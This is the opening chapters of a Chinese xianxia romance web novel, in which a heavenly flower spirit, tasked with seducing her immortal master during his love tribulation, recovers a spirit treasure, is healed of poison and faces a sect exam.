《师尊,说好的克制呢!》
1. 第 1 章
沐月收拾好包裹,摸黑连夜离开戚雪峰。
昨日司命又开始催促她进行任务,这个所谓的任务,竟然是勾引她那温柔慈爱、冰清玉洁的师尊!
丧心病狂!大逆不道!岂有此理!
其实……
要是一开始她没有丧失在天界的记忆,进行这个任务也不是不行,毕竟师尊虽然已经三百来岁,但看起来貌美至极,她赚大了!
但可惜,事与愿违,这么多年她对师尊敬重有加,恨不得将他当神仙供起来,即便恢复记忆,又如何将师尊当做真正的男人来看待?
沐月欲哭无泪。
谁能想到,她的师尊其实不是真正的师尊,而是天界的烬曦神尊,身份吊炸天,不仅是正道第一人,还是三界第一人。
她也不是万剑宗弟子,而是天界九天月清宫内莲池内的一只还未修成人身的小花妖。
她与师尊相处的点点滴滴,只是司命笔下的文字,是他所构写的世界,只因烬曦神尊需要下界历劫,还是九大劫难中的情劫。
在神尊漫长的岁月中,从未有过爱侣,孑然一身,此前天帝之女瑶姬下界助烬曦神尊历劫,司命为一切顺利,大手一挥为两人专门写了一段荡气回肠的相爱故事,并联合月老,为两人牵上红绳,奈何簿子上的一切都发生了,唯独一点没有任何改变。
那就是神尊对瑶姬的感情,两人越走越远,到最后两人的故事完全偏离簿子上所写,两人之间那隐形的红绳也随之一并消失。
此次历劫事关重大,天界众人无法放任,于是想办法让沐月下界,让她与神尊产生羁绊。
但这次司命更换了方式,让沐月与神尊生出亲情,再潜移默化,一点一点转变为男女之情。
由此写出了一段师徒旷世绝恋。
沐月无父无母,孤身一人,差点冻死在风雪之中,已经下界成为玉翎仙尊的辞镜遇见她心生怜悯,将她带回戚雪峰,收为关门弟子,沐月被师尊一手养大,渐渐对师尊生出了别的感情,风雪之夜,胆大包天的沐月潜入师尊的寝殿,悄悄走到醉酒毫无防备的师尊床边,主动亲吻了师尊,两人天雷勾地火,一发不可收拾,师徒二人感情自此变化,最终两人历经万难,幸福地生活在了一起。
当然,沐月觉得非常非常不靠谱,按照大多数人间话本的走向,应该是徒弟被废除修为逐出师门,师尊与她不复相见。
借此告诫世人,切忌大逆不道爱上师尊,师徒恋是没有好下场的!
她深以为然,和司命据理力争,但是。
司命直接掏出了一颗闪闪发亮的仙丹。
这一颗仙丹,能省去她上万年的漫长枯燥修炼时间,直接修成人身。
勾引师尊……
好像也不是不行。
不过……当务之急是前往水月洞天寻找玲珑木心。
她也能趁机避避风头,免得司命老是在她耳边唠叨,吵得她脑瓜子疼。
比起虚无缥缈的仙丹,她还是拿到实实在在能够提升她修为的玲珑木心比较靠谱。
……
水月洞天一方秘境,高大古木遮天蔽日,万千碧绿藤蔓仿佛有生命般欢喜地围绕在绿裙少女周围。
女孩单手持剑,剑刃已被鲜血染红,在她面前瘫倒着一头鲜血直流,长满獠牙的龑虎兽尸体,喷溅的鲜血打湿了她的脸颊。
这场一人一兽争夺玲珑木心的战斗,以沐月的险胜告终。
藤蔓小心翼翼捧起空中旋转、幼苗般的玲珑木心,献宝似的送到沐月面前。
沐月伸手去接,此刻危险解除她才感觉到疼痛,她嘶了一声,低头一看,胳膊不知什么时候被划伤了。
看样子,是龑虎兽的獠牙。
此时腰间震动,她拿起玉牌一看,是师尊的传讯。
她一月前留下一封信匆匆离开戚雪峰,也不知师尊看到后是什么心情,但她现在还不能回去,她得找个地方将玲珑木心炼化,以免夜长梦多徒生事端。
正想着,她的耳朵微微一动。
四面八方植物独特的声音传递给她,起初窸窸窣窣,随着她瞳孔的微微泛绿,周遭的声音越发清晰。
置身在整座密林,每个位置的动静都逃不过沐月的耳朵,虫鸣,鸟叫,还有人声。
有人过来了。
必然是为了玲珑木心而来,她顾不得处理伤口,迅速将手中的木心收入芥子囊。
沐月身形一闪,水绿色的罗裙藏匿在一片绿林之中,身后万千藤蔓将她笼罩,牢牢将她遮挡在身后,沐月敛息观察着远处,几乎与周围的环境融为一体,让人感觉不到她的存在。
“好重的血腥气。”有修士惊疑不定地说。
“我们过去看看。”
一行人渐渐靠近。
脚步声越来越近,沐月眉头轻蹙,置身于自然中,只要不遇上元婴期的修士,她有足够的胜算,但是从远处的动静来看,来的人不少,她没有把握。
沐月心跳加快,默念着那些人尽快离开。
但她知晓,必然是玲珑木心纯净的灵力引得他们前来,此事灵气还萦绕在周围,这些人不会如此轻易地离开。
由于水月洞天的禁制,她无法使用师尊给她的任何传送符或者法器,只能自己想办法离开,但极有可能被发现,几番斟酌后,她决定屏息在暗中观察。
她隐藏自己的气息,只要不被人看见,就能成功掩人耳目。
“是龑虎兽!”震惊的声音此起彼伏,在这个秘境,岩虎兽已经算是最强的野兽。
“此地残留着浓郁的木灵力,龑虎兽也已出现,玲珑木心必然在附近,但照现在的情形怕是已经被人夺走。”
“应该还没有走远,我们要追吗?”他们现在担心的是,此人既然能从龑虎兽手中夺走玲珑木心,那实力必然在他们之上。
“此人在于龑虎兽对战过程中应当负了伤,而且我们人多,不一定没有一战之力。”
有修士开始动摇了,他们此行正是为了玲珑木心而来,真的甘心空手而归么。
“此前我们有遇到沈风吟,若是他怎么办?”
“……”
如此一提,大家面面相觑,沈风吟的实力自不必说,他还是玉翎仙尊的大弟子,抢不抢得过另说,即便他受了伤,他们也不敢在他手里抢东西。
“话说他又不是木灵根,拿这玲珑木心有何用处?应当不是为木心而来吧。”
“他不是有个木灵根的师妹嘛。”
对于玉翎仙尊这两个徒弟,赫赫有名的便是大弟子沈风吟,至于师妹沐月,他们只能说比起天赋不如运气好。
如此平庸之人能成为仙尊的关门弟子,他们
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每每提起来就觉得可笑。
但最气人的是,这个仙尊似乎更看重自己那个女弟子,真不知道她凭什么。
“也不知道她怎么好意思赖着玉翎仙尊不走的,人废物就罢了,怎么也该识点趣。”
“你们可别说了,木心要真被人夺走,现在早跑没影了。”
几人对视一眼,即便是沈风吟又如何,若真是他,他们及时离开便是,若不是沈风吟,那他们自然也不必客气。
“我先过去查看。”有修士提议。
在一旁观察的沐月把他们的对话听得清清楚楚明明白白。
平日在师尊面前,那帮人可是夸她聪明伶俐,乖巧可爱呢。
脚步声越来越近,沐月紧盯着藤蔓之外不断靠近的人。
之前她没有觉醒记忆时,身为花妖的能力也没有觉醒,天赋确实平平,对于别人的话语她无法反驳,她记得才来戚雪峰时弟子欺负她,她也打不过,被打痛了只能没出息地哭,最后还是师尊给她撑了腰。
后来倒是没人再找她麻烦,不过都是仰仗了师尊,她即便能打回去,也得借助师尊给她傍身的天材地宝和法器。
但现在情况不同了,她虽在天界只是个不起眼的小花妖,但怎么也是九天月清宫长大的,吸收的都是最纯净不过的仙气,就好比妖族的血脉压制,人界的灵植妖藤都会听从她的指令,在森林里这些人还奈何不了她。
“何人在此躲藏?”
此前沐月还紧张,现在她是恨不得那些人早点发现她,但屋漏偏逢连夜雨,她手臂发麻,低头一看,刚才的伤口血肉已经泛紫,竟然有毒,不过即便如此,对付这些三脚猫还是绰绰有余。
在修士用利剑砍向沐月身前的树丛时,沐月身后瞬间涌出数千条张牙舞爪藤蔓,齐齐往远处的修士扑去。
藤条瞬间将几人牢牢捆紧,“咚”“啪”“哐”各种结结实实的抽打声与哀嚎惊恐声交织,响彻森林。
沐月露出大大的笑容,背后说人坏话可不是好孩子哦。
她操控藤蔓,将那几个修士搓扁揉圆,快乐地在天空中荡起了秋千。
沐月转身离去,走了片刻感觉脑子晕晕的,她看了眼自己的伤口,好像不太对劲。
沐月迅速撤离,身后的声音越来越远,寻了一处藏匿在藤蔓下的隐蔽山洞,才敢停下。
沐月连忙又塞了两颗解毒丹,脑子好像更晕了。
完了,这毒有点霸道。
水月洞天危险重重,沐月当机立断,捏碎了手中的银色玉牌。
三二一……
沐月才默数完,面前便出现一个身着白衣的身影,他出现时就成了昏暗洞穴内的唯一一抹光亮。
沐月抬头看他,每次还是会被出现的师尊惊艳。
三千发丝银白如雪,额心一点朱红,高挺的鼻,薄薄的唇,平静又悲悯的眼神,宛如阳光下天池的湖泊,干净、脱尘、却又有着包容万物的宁静温柔。
曳地的雪色衣摆随意落在洞穴的尘土之上,却不染尘埃,洁白无瑕。
这便是外人眼中高不可攀、不食人间烟火的玉翎仙尊。
“师尊……”
看到信赖之人,沐月放心地任由脱力的身体倒下。
女孩苍白的脸映入眼帘,辞镜眉心皱紧,在沐月倒下的瞬间伸手将其揽过。
2. 第 2 章
辞镜抱着怀中之人,瞬移至戚雪峰,走进屋内将她放在床上。
眼睛都快睁不开的沐月强撑着咬牙恶狠狠说:“是龑虎兽的毒牙。”
谁知道暗中还被它摆了一道。
辞镜查看了沐月的伤口,确实是龑虎兽,将沐月衣袖卷起,少女半截雪白小臂无力地搭在床上,简单清理伤口,“师尊要将你血液中的毒祛除,可能会有些疼。”
沐月点头,“师尊你开始吧。”
看了沐月一眼,辞镜指尖释放灵力,如水般的灵力轻轻附着在沐月手臂伤口处,灵力在辞镜手中逐渐分为丝丝缕缕的细线,从沐月的伤口处往血管静脉里缓缓侵入。
并不疼,沐月只觉浑身痒痒的,是从骨子里透出来的痒意,她咬紧齿关,强迫自己不要动弹,但还是无法抑制自己的本能,绷直了脚尖,睫毛轻轻颤抖。
师尊全神贯注,察觉沐月的反应,以为她是疼,放缓了灵力清除毒液的速度,沐月将床单抓得更紧。
“很快就好。”师尊轻声安慰。
凝神仔仔细细将沐月身体里的毒液清除,他才将侵入的灵力一点点收回。
结束时,沐月出了一身的汗,长唇轻轻喘着气,整个人像是从水里捞起来。
“现在好了,不疼了。”辞镜为沐月施了个清洁术,让她湿透的衣裙恢复清爽。
取出了一枚布满丹纹的丹药,玉盒一打开,便闻到了浓郁的丹香。
“张嘴。”
沐月头晕目眩浑身无力,但张嘴这点力气还是有的,她察觉到师尊情绪不算好,乖乖张开嘴,嚼吧嚼吧这颗香甜的丹药,吞了下去。
果真是神药,一吞下去,她感觉伤口都不疼了。
她还没忘记自己不辞而别一事,苍白着一张小脸主动认错,“师尊对不起,我不该擅作主张离开戚雪峰,让您担心了。”
其实沐月是留了字条的,字条上写得清清楚楚明明白白。
连写三遍想要自己闯荡,师尊不要找她。
言外之意,翅膀硬了,想要离家出走。
辞镜看着她这幅虚弱却还主动认错的模样,又如何生气。
“可遇见了你大师兄?”
“大师兄?他也去了水月洞天?”
那就是没有遇到了,在看到沐月留下的那封信后,辞镜当机立断让大弟子沈风吟前去,既然沐月不让他去,别人总是可以的。
谁知沈风吟竟没有找到沐月,他已元婴期,不应该才是。
但辞镜不知晓的是,在森林中,沐月可以说是如鱼得水,想发现她还真不容易。
“现在感觉如何?”
“好像已经好了。”
“师尊您真好,下辈子我还要当您的徒弟。”沐月感动地抹眼泪。
“不累吗?”辞镜见她生龙活虎的,无奈问。
“原本好累,但是和师尊说话好开心,一点都不累了。”
沐月这嘴跟抹了蜜似的,虽然辞镜已经习惯了她的连环彩虹屁,不过人的天性,不管多少次还是受用的。
也是在遇到沐月后,他才知晓,原来他也是有情绪的,也会开始惦记,开始担心,会因为一些小事开始满足,当然被沐月气到的时候也会烦闷。
就如此次沐月离山。
“你先休息,师尊先出去做饭。”辞镜离开前给沐月施了个清洁术,拉拉被子给她盖上。
“辛苦师尊您了。”沐月感动得要死,师尊一直是师尊就好了,该死的司命,为什么要她勾引师尊呢。
要是师尊知晓她大逆不道的想法,肯定一气之下将她扫地出门!
那她师尊做的香喷喷的饭岂不是便宜大师兄了。
不行,想想就心痛。
看着师尊走出房门,沐月终于没了多余的精力再琢磨那些有的没的。
铺天盖地的倦意涌来,在门合上不久,便闭上双眼沉沉睡去。
沐月一觉睡到了夜里,她醒来时屋内床前的小灯散发微微光亮。
穿鞋下床,她走到门外,探头往外看了几眼,发现桌上摆放着饭菜,视线一转,目光所及之处,师尊靠窗软榻而卧,正握着一卷书,在灯光下认真翻阅。
“醒了?”辞镜将书放下,起身走向餐桌,“过来吃饭吧。”
沐月只见师尊手轻轻一动,早已冷透的饭菜便冒起腾腾热气。
两人对坐,辞镜将盛了饭的碗放到沐月身前,“可有感觉哪里不适?”
沐月摇头,“我现在只担心一会儿睡不着。”
她直接从白天睡到夜里,现在一点也不困。
“那正好,可以用来修炼。”
沐月听完一脸震惊,“师尊你变了。”
听她颇为愤怒地控诉,辞镜笑了,他夹了块排骨放进沐月碗中,“已经拿到了玲珑木心吗?”
他之前就感应到沐月身上浓厚精纯的木灵力。
“拿到了。”她现在只待闭关吸收炼化,以免夜长梦多。
“嗯做得很好。”
辞镜还想说些什么。
但沐月信中提到想要学会独立,他该欣慰才是,不该多说。
“玲珑木心对你而言可能需要更多的时间炼化吸收,这是释灵水,若发现灵脉丹田内灵力过多无法炼化,记得用。”
辞镜将装有灵水的玉瓶递给沐月。
沐月乖乖接过。
她饿的要死,大快朵颐,没多久即将饭桌上的菜扫荡一空,吃得心满意足,靠在椅背摸了摸圆滚滚的肚子。
可一想起那个勾引任务,她就觉得没怎么满足了,悄悄瞅了师尊一眼,他正温柔慈爱地看着自己。
就像是颇为欣慰地看着胃口好的好孩子。
“吃饱了吗?可要再来一碗?”辞镜见沐月看着自己,以为是没吃饱,他还留了一些在厨房。
“不了不了,我吃饱了。”沐月连连摇头,师尊果真是养孩子呢,她怎么下得了手啊!
“那师尊再为你诊一次脉。”
沐月早已习惯了,撩起袖子将手腕放到桌上。
辞镜修长的手指轻轻搭在了沐月的手腕。
他神色认真,沐月无事可做索性观察起面前的师尊,皮肤剔透白皙,甚至能看见灯光下他微微发亮的纤长睫毛,怎么看,也不像是三百岁多岁的人呢。
沐月不受控制地联想到司命为她和师尊所写的某个刺激场面,虽然只有寥寥数字,但架不住她会想象。
她还没见过师尊喝醉酒的样子呢,沐月越想越停不下来,可在突然对上师尊抬起的眼眸后,她连忙掐断了自己漫无边际,简直称得上亵
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渎的想法。
她怎么能觊觎自己冰清玉洁的师尊,简直大逆不道,罚她明晚多吃一碗饭!
“怎么了?”辞镜不解。
“没事没事,就是觉得师尊长得真好看。”
辞镜之前很少在别人面前听过如此直白的夸他容貌的话语,但是自此沐月来到戚雪峰,他好像就已经习惯了,毕竟她时不时就会冒出这么一句。
他莞尔,“目前经脉和丹田内的毒液几乎已被清除,但也不得放松警惕,此后半月,师尊每日都会为你诊一次脉。”
沐月连连点头。
“若是身体不适,及时告知师尊。”辞镜将沐月的衣袖整理好。
吃饱喝足沐月回到房里,方才睡了太久她确实没有困意,而且她要将玲珑木心炼化彻底变成自己的才能安心,没有什么地方比无妄楼更加安全,沐月在房内蒲团上盘腿坐下,取出玲珑木心,一出现,整个房间都被浅青色的光芒照亮,浓郁亲和的灵气让沐月深吸了一口气。
屋外辞镜察觉房中动静,指尖一点银色光芒绽放,在房间设下了一层牢不可破的结界。
沐月双手结印,如水的灵力缓缓将玲珑木心包裹。
【沐月!】
沐月被耳边突如其来的声音吓了一跳,赶紧停下。
意识到是司命的声音,她当没听见,想要继续,但是吵吵嚷嚷的声音接连传来,她忍无可忍。
【司命你到底要干嘛?】
【事情紧急,不然本君哪会在这个时候找你。】司命着急道。
肯定是催促她勾引师尊一事。
【你这和逼良卖娼有什么区别!】沐月愤愤道。
【不是这个,你在想什么呢,真是紧要之事,天河石最近总是闪烁,我怕生出事端,你最近要多加注意神尊的情况。】
【天河石是什么?】
【命劫大殿掌管诸位上神历劫事宜,每位上神需要历劫时,大殿内的天河石就会发出指引,此次正是指向神尊,但是不知为天河石代表情劫的红色光芒频频闪烁,神尊已是大乘期大圆满,是他到渡劫期的关键时期,我担心天河石异动和他的突破有关,你要多加注意。】
沐月一听和师尊有关终于上心了,【你们之前没遇到过这样的情况吗?】
【从未,我们也会多加注意,你也不能放松警惕。】
沐月结束和司命的对话,陷入思索,自己好像从未关注过师尊的修炼,毕竟在她心里师尊好像不会被俗事困扰,在别人眼中,他生来天赋绝佳,顺风顺水,修炼速度也是无人能及。
她听别人说起过,师尊出生于修仙世家,自小在万剑宗长大,是前任掌门的首席大弟子,被所有人仰慕,不曾知晓苦难的滋味,也从未经历过低谷,是众人羡慕又无法企及的存在。
师尊也没有和她说起过他修炼上事情,之前她似乎并没有发现异常,会不会是她离开这一个月师尊修炼上出了什么变故呢?
如此一想,沐月越发愧疚,若当真如此,她却丢下师尊,甚至没有和他亲自说一声便离开。
沐月推开房门,此时正堂内已经没有师尊的身影,她思索片刻,去了二楼。
停在师尊的卧房外,沐月没有立即敲门,而是从木窗微开的缝隙往里看,却看见令她面红耳赤的一幕。
3. 第 3 章 幸好
格窗内灯影摇晃,辞镜外袍褪下一半,银发遮住了他一半的侧脸,朦胧光线中,身形背影越发挺拔。
就在沐月出现在窗外的瞬间,辞镜便停下了解衣的手,他将外袍重新披上,走到门口将门打开,却看见轻手轻脚似乎打算离开的沐月。
沐月其实什么也没有看见,但她还是红了耳朵。
“阿月,是找师尊有事吗?”
“……”沐月笑容僵在脸上,偷看好像被抓包了。
她连忙转身,“师尊,我思来想去,还是觉得应该和您再次道歉,我不该不和您说一声就离开的。”
说话时她仔细观察着师尊的脸,不显疲惫,一如既往地貌美,如山巅一捧细雪,干净剔透,没有任何污浊之气,印堂也没有发黑,似乎没有走火入魔的迹象。
他的衣袍,也已穿戴整齐,不似刚才的随性,衣襟严丝合缝不露半分肌肤。
她看的那些话本上都说师尊这个境界的修士一不小心就会走火入魔,司命说和师尊的修炼一事有关,应当就是指这个吧。
辞镜见沐月如此郑重还要专门上来一趟,摸了摸她的头,“不碍事,下次和师尊说一声就好了,师尊不是生气你离开,而是担心你孤身一人遇到危险。”
今日他收到沐月求救信息前往水月洞天,却看见她脸色苍白摇摇欲坠,那时的画面不断与沐月小时候发生意外浑身是血的画面重叠。
幸好。幸好。
“我下次不会了。”沐月非常愧疚,其实她宁愿师尊骂她,但是从小到大,师尊都没有骂过她,她做错事了也只会和她讲道理。
“师尊,我离开这一个月有发生什么事情吗?”她没有忘记自己上来的目的,试探地问。
辞镜认真思索,“你离开这段时日一切照旧,就是冷清了很多,不过,几日后就是月试,很多弟子都在进行筹备,你离开一月,还要参加吗?”
要不是师尊提起,她都忘了,有什么比一回来就要月试还要令人心情糟糕的事呢。
“我还是参加吧。”虽然她很不想参加。
师尊这么说了就是能替她摆平,但她不想那帮人说她走后门,说师尊是非不分,有她这么一个废物徒弟。
师尊一生都被人羡慕,至少在收了沈风吟这个大弟子时是如此的,但是在她入门后很多事情就开始变了,毕竟她没有经过任何宗门考核直接入的戚雪峰,并且也确实天赋平平。
不过她现在也没有那么弱,只是人前不能发挥罢了,毕竟她能操控灵植一事一旦暴露,怕是会被执法堂抓起来三堂会审。
花妖怎么了,花妖也能飞升成仙,她心地可善良了,但是这个该死的人界就是和妖势不两立,她虽然下界换了具身体,但是灵魂没变,她的那些能力依旧存在,只是暂时没有妖气罢了,人族也无法得知她其实是妖,连她和师尊日日服相处都不曾得知。
幸好她是在觉醒记忆后,操控灵植这个能力才一并觉醒的,不然她估计早早就暴露了,她也就只敢在无人在时才能肆意操控灵植。
在人界,水、火、风、冰、雷、木等灵根的修士都无法直接操控这些自然存在的东西,只能动用自己丹田内该属性的灵力,不过修炼到元婴期就能自己动用灵力凝聚水、火等。
就如玉翎仙尊,他是变异水灵根,依旧无法直接操控戚雪峰的水,但是他丹田内庞大的灵力能够直接凝聚出一条大河,甚至他领悟出了另一种修行方式,能够将水凝成冰。
被世人公认攻击力最弱的水,在他的手里却成了攻击利器。
也因此他才收了拥有单系冰灵根的沈风吟,一般而言,什么灵根就会选择什么灵根的徒弟,因为讲求传承。
而沐月是木灵根,也因此很多人认为玉翎仙尊根本没有想要将自己功法传承给沐月的打算,可能是看她可怜,长得还算可爱,生了怜悯之心,顺手收回戚雪峰添些热闹罢了。
“师尊,虽然我比起大师兄没什么拿得出手的本事,但还是很有用的,你要是遇到什么困扰的事情可以和我说。”沐月离开前强调。
“不要瞎想,师尊很开心你能来到戚雪峰。”辞镜不清楚沐月是不是又在哪里听见了什么奇怪的传言。
“嘿嘿,师尊您早些休息!”沐月听见师尊这番话心里暖呼呼的。
“好。”
辞镜静静看着女孩跑远,思索沐月刚才的那番话,转身进屋时一串金色的字化作流光飞向戚雪峰山下。
百密阁。
金色光芒在殿中青年身前汇作一卷信纸,落在书案一侧。
闻人浔在打开看完辞镜传讯的一瞬间,信纸化作点点光芒消散。
他思索片刻回道:
【你此前要我查探沐月为何离开戚雪峰一事暂时没有其他发现,不过顺带查出了一些别的,此前有个弟子一直与沐月敌对,几日后的月试名单已经出来了,正好是他和沐月比试,也不知是否真是巧合还是暗中操作,我之前留意了一下,但是没发现问题。】
【而且,他早已是金丹期,你徒弟估计要吃些苦头。】
辞镜皱眉,沐月距离金丹期还有些距离,即便她拿到了玲珑木心,突破至金丹期,也极有可能因为境界不稳无法发挥出最佳实力。
她是否是担心月试落败,才如此不顾危险寻找玲珑木心呢。
之前她从未如此仓促地孤身一人离开戚雪峰,辞镜不得不担心,中间是否发生了一些他忽略之事。
沐月回去后,仔细回想方才的经过,还是没发现什么,她实在不算聪明,只能以后多多观察留意一下师尊的情况。
之前她忘了还有个弟子月试在,现在更要加快炼化吸收玲珑木心了,虽然她自己无所谓,但是要给师尊长面子,怎么也不能掉链子。
摈除那些杂七杂八的念头,沐月双手释放灵力,缓缓将碧绿色的玲珑木心包裹。
沐月整个人被笼罩在纯净浓厚的木灵气之中,闭上双眼,全身心炼化玲珑木心的灵气,在无人注意之时,她的头顶上冒出一朵拇指大的花苞,而她的额心,从皮肤之下隐隐浮现莲花状的金纹。
此次炼化足足持续了三日,无人前来打扰,门外也安静至极。
山下阵法阁,弟子们上课前正围在一起激烈讨论明日的弟子月试,名单已经公布,一些弟子庆幸自己没有遇上实力比自己强的对手。
弟子月试分外门和内门,是单独分开的,沐月这一批同年内门弟子将近一百人,随机排序对战,虽都是内门弟子,但实力差异不小。
就如储殷和离星洲,两人都是同年入门,在这一批内门弟子中两人实力最强,甚至早早赶超了早他们几年甚至十几年入宗的弟子。
大家都不想和两人对上,一旦对上那就是必输的局面,一年内月试累积三次落败,便直接剥夺内门弟子身份,沦为外门,需要在外门弟子月试中累积胜利六次才能重回内门。
沐月已经有两次落败的经历,非常危险。
她第一次遇上储殷,第二次遇上火灵根还比她修为高的弟子,是她木灵根的克星,能不能稳住全靠第三次。
要是稳不住,那她就收拾收拾东西走人了。
之前也有连续落败三次的去了外门的弟子,外门弟子排斥他,内门弟子奚落他,虽然师徒关系不会解除,但师尊对他非常失望,几乎将他放弃。
由奢入俭难,该弟子孤苦伶仃在外门,也失去了曾经身为内门弟子的
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丰厚资源,身心皆受折磨。
虽然还有机会重回内门,但他从此一蹶不振,再也没有回到内门,也解除了与师尊的师徒关系,现在成了籍籍无名之辈。
此事许多人都知情,这回月试名单出来,很多人都开始为沐月担心。
灵犀盯着名单,恨不得将这张薄薄的纸盯出个窟窿来,她用力一拍,“沐月这次可怎么办,我都怀疑是不是有人故意见不得她好,怎么三次都这么倒霉,遇上根本没有胜算的对手!”
灵犀无处发火,很快将矛头对准还在看书的储殷。
“这时候了你还有心情看书!上回你就应该让着沐月让她赢的,她就不用去外门了,你这算什么朋友。”
“……”储殷放下书,无言以对。
灵犀也是一时情绪上头了才这么说,“算了,你也不知道她后面两次都会遇到这么难缠的对手。”
稍微平静点后,她走到储殷面前,凑近对他悄悄说:“沐月历练回来的事情只有我俩知道,现在只有让她在戚雪峰待到月试结束才能避开此次必输的局面,就怕她傻乎乎地还要参加。”
不行,她得提前叮嘱她。
灵犀坐回座位,低头悄悄给沐月传讯。
【阿月,此次月试名单已出,你的对手是离星洲,他和你有过节,肯定下狠手,这是今年你的最后一次机会了,千万不要下山,月试结束后才出现,就说你才历练结束回宗。】
虽然一般而言,名单一旦公布,若是名单上的弟子没有特批剔除,月试当日没有出现就当认输处理,但灵犀相信沐月的师尊能够摆平一切。
灵犀紧张等待后,一直没有收到沐月的回应。
等了片刻,她又接连发送了几条,但还是没有任何动静。
这才想起,几日前沐月传讯告知她要闭关。
事到临头才闭关有什么用,她就算是闭关一年也打不过离星洲啊,灵犀只希望沐月出关后看到这些消息千万不要下山。
不光灵犀和储殷在讨论此事,其他人也在讨论。
“你说离星洲是储殷的手下败将,而储殷和沐月的关系又不错,要是离星洲伤到沐月,储殷会不会暗中报复回去啊。”几人一边说一边观察着靠窗的储殷。
“你别说,还真有可能。”
“但是也可能沐月直接认输吧,这压根没有打的必要,反正都是必输的局面。”
“我也觉得是,反正要是我遇上离星洲,就直接认输。”
“不过前两次沐月对战储殷和金枫也没有认输,这次不知道会不会认输。”
“若我记得不错,沐月这次好像是第三次了,看样子她要去外门了,虽然我和她没什么交情,但想想还有点感慨,希望我不要有这么一天。”
转眼便来到月试当日。
离比试开始还剩一个时辰,比试台下已经坐了很多弟子。
“我刚才好像看见了仙尊,你们说这次月试会不会是仙尊主持呢?”有弟子看着台上长老和主持的席位,讨论道。
“你看错了吧,他很少主持月试。”
“我记得他之前主持都是好几年前的事情了,之后就再也没有主持过。”
“不说这个了,仙尊肯定不会来的,比起这个我更好奇沐月会不会来,她一月前下山历练去了,会不会就是为了躲月试啊。”
“反正等会儿就知道了。”
离月试开始的时间越来越近,台下的弟子也越来越多。
比试台前的香一点点燃尽,就在香彻底熄灭时,台下出现熟悉的白衣身影。
在他出现的一刹那,全场弟子的视线都集中到那抹孤冷出尘的身姿之上。
竟然是仙尊!
4. 第 4 章
“仙尊此次要主持吗?”
台下响起此起彼伏的惊喜欢呼声,辞镜极少出现在宗门,尤其是人多之处,他几乎只在宗门大型活动上才会出现。
他在众人殷切的注视下走向台阶,在几个长老席位中央的高台站定,片刻后,他手持绘有月诗弟子名录的玉牌,垂眸看向台下,众人都自觉安静下来。
今日辞镜换上了较为端方持重的道袍,衣袍上精细的银线勾勒出片片云纹,三千白发也被玉冠竖起,长身玉立,犹如松间月,天上雪。
“此次月试由本尊主持,时辰已到,还请名单上的弟子做好准备。”清冽的声音并不大,却传遍了广场各个角落。
此话一出,弟子们眼睛发亮,忍不住小声交流,这次确实是仙尊主持,因为他的出现,这次再寻常不过的月试顿时变得格外不同,弟子们都跟打了鸡血似的激动。
他们得好好发挥,仙尊可在一旁看着呢。
月试一共分为四轮,一轮二十人,休息一刻钟后,进行下一轮,每次对战只有一次机会,是输是赢一锤定音。
沐月和离星洲在第三轮的最后一组,眼看着等候区的弟子越来越少,灵犀和储殷都已对战结束,还是没能在广场看见离星洲和沐月的身影。
其他人也意识到这个问题,纷纷四处观望,“离星洲呢?”
“不知道,沐月不来还说得通,他没道理不来吧。”
“不会是出什么事了吧。”
“那若是离星洲不来,沐月来了,她岂不是直接就赢了。”
话落一抬头,他们便看见远处走来的沐月。
“……”
沐月来时距离她上场还剩接近一炷香的时间,时间还算充裕,她看见灵犀和储殷,抬手朝他们招了招手,开心地跑了过去。
“我来了!”
灵犀看见她的时候人都傻了,怎么就不听她的呢,不过幸好离星洲也没来,要是他来了,沐月就完了。
“你发给的传讯你看了没。”
“看了。”沐月点头,“你们放心,没关系,我会努力的,要是落败了大不了去外门嘛,又不是见不到,而且我也会想方设法重新回来的。”
灵犀叹气,“你人来的来了,既然已经做好了决定,那我们会为你鼓劲的。”
沐月点头,她看了眼身旁的储殷,欲言又止,最终还是什么都没说。
三人说了会儿话,但主要是沐月和灵犀聊得火热,一旁的储殷只是静静听着,偶尔看沐月一眼,但又不动声色移开视线。
聊到一半,灵犀瞅着隔了一段距离的两人,若有所思,“我怎么感觉你和储殷怪怪的呢。”
储殷对此不置可否。
“仔细一想,从上个月开始你俩就有点奇怪,
“哪有。”
三人说了一会儿话,距离沐月上台的时间越来越近,但是还没有出现离星洲的身影。
原本比沐月还要紧张的灵犀稍稍松了口气,“希望离星洲别来。”
沐月四处看了眼,只看到了紧张地东张西望的离星洲小弟江凌峰,没有看见离星洲的人影。
“离星洲怎么回事?”她问。
“不知道,好几日没来上课了,之前他也时常不来,所以也没人注意,他小弟好像也不清楚怎么回事。”
“马上就到你了,看样子离星洲是来不了了。”
“哎阿月,仙尊是不是为你来的?”
沐月摇摇头,她也不知道啊,师尊之前也没和她说要来主持,她也是刚才到的时候才知道的,看到师尊在台上她人都傻了。
灵犀捧着脸看着台上皎若云间月的男人,满脸感叹,“沐月,你整日面对你师尊这张美得不似凡人的脸,是怎么不起歹心的啊,幸好我师尊是个糟老头子,不然我真的忍不住会想以下犯上的。”
沐月没吭声,老实说,她偶尔也会忍不住,但是她坚定地认为是司命安排的那个破本子让她如此的。
要是师尊也喜欢她的话,这个任务也不是不……
等等,她又在想什么鬼东西,大胆!
“不过,仙尊这样的人也不会生出俗世的男女之情吧,要是真的以下犯上,后果好像有点严重,还是老老实实做徒弟来得好,你看你现在和仙尊,除了不能睡在一起,和道侣也没什么区别。”
没错,沐月现在幸福得要死,这样最好了。
等等……
“灵犀你在说什么?”沐月整个人都惊呆了,这是人能说出来的话吗,短短一月未见,灵犀怎么如此放浪形骸。
“本来就是,你看啊,你和你师尊还不会吵架呢,感情也不会减淡,只会越来越深,你和你师尊也不会斤斤计较在这段感情里谁付出得比较多,这可比爱情好多了。”
沐月连忙捂住灵犀口无遮拦的嘴,她心虚瞥向比试台上的师尊,却对上了他的视线,沐月心里一咯噔,赶紧移开视线。
辞镜正要发出的传音在沐月假装没有看见他时又收了回去。
他顿了顿,看向和朋友打闹的沐月,发现她一直没有看自己后,将目光放到了比试台上。
过了一会儿,他的视线又移到了沐月身上。
【一会儿不要紧张,没事的。】他轻声安抚。
沐月收到师尊的传音,近得仿佛在她耳边低语,她看向台上还看着自己的男人,压下心里杂七杂八的念头,冲师尊弯唇一笑,用嘴型表示她知道了。
“你们都比完了吗?”沐月看向灵犀和储殷。
“嗯,老早就比完了,等你比完了咱们去吃顿好的,顺便庆祝你历练平安回来。”
说起吃的沐月可就兴奋了,她摩拳擦掌,要加倍努力才是,但……好像不需要,毕竟离星洲一直没来。
搞了半天她直接躺赢啊,有点失望是怎么回事。
